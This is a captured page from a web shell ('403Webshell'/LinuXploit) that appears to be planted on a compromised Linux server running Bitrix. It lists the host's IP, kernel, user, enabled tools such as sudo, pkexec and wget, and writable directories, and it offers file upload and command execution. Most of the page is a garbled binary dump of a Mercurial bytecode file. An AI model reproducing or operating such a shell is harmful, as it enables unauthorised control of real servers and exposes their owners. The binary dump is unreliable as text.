403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/diffhelper.cpython-39.opt-1.pyc
a

�+�bE	�@sHddlmZddlmZddlmZmZdZdd�Zdd	�Z	d
d�Z
dS)
�)�absolute_import�)�_)�error�pycompats\ No newline at end of file
cCs�|t|�}|t|�}t||�}|dkr,q�t�|�D]�}	|��}
|
sTt�td���|
tkrjt	|||�q6|
dksz|
dkr�d|
}
|�
|
�|
�d�r�|�
|
dd��q6|
�d	�r�|�
|
�q6|�
|
dd��|�
|
�q6qdS)
aRead lines from fp into the hunk

    The hunk is parsed into two arrays, a and b. a gets the old state of
    the text, b gets the new state. The control char from the hunk is saved
    when inserting into a, but not b (for performance while deleting files.)
    rsincomplete hunk�
�
� �+rN�-)�len�maxr�xrange�readlinerZ
ParseErrorr�MISSING_NEWLINE_MARKER�
fixnewline�append�
startswith)�fp�hunkZlenaZlenb�a�bZtodoaZtodobZnum�i�s�r�:/usr/lib64/python3.9/site-packages/mercurial/diffhelper.py�addliness*



rcCsd|d}|�d�r |dd�}n|dd�}|�d�rF|dd�|d<|�d�rX||d<||d<dS)zEFix up the last lines of a and b when the patch has no newline at EOF���rN���)r	r
r)r	r)�endswithr)rrr�lZhlinerrrr6s


rcCs^t|�}t|�}|||ks$|dkr(dSt�|�D]&}||dd�|||kr2dSq2dS)z�Compare the lines in a with the lines in b

    a is assumed to have a control char at the start of each line, this char
    is ignored in the compare.
    rFrNT)rrr)rrZbstart�alenZblenrrrr�testhunkFsr"N)Z
__future__rZi18nr�rrrrrr"rrrr�<module>s"

Youez - 2016 - github.com/yon3zu
LinuXploit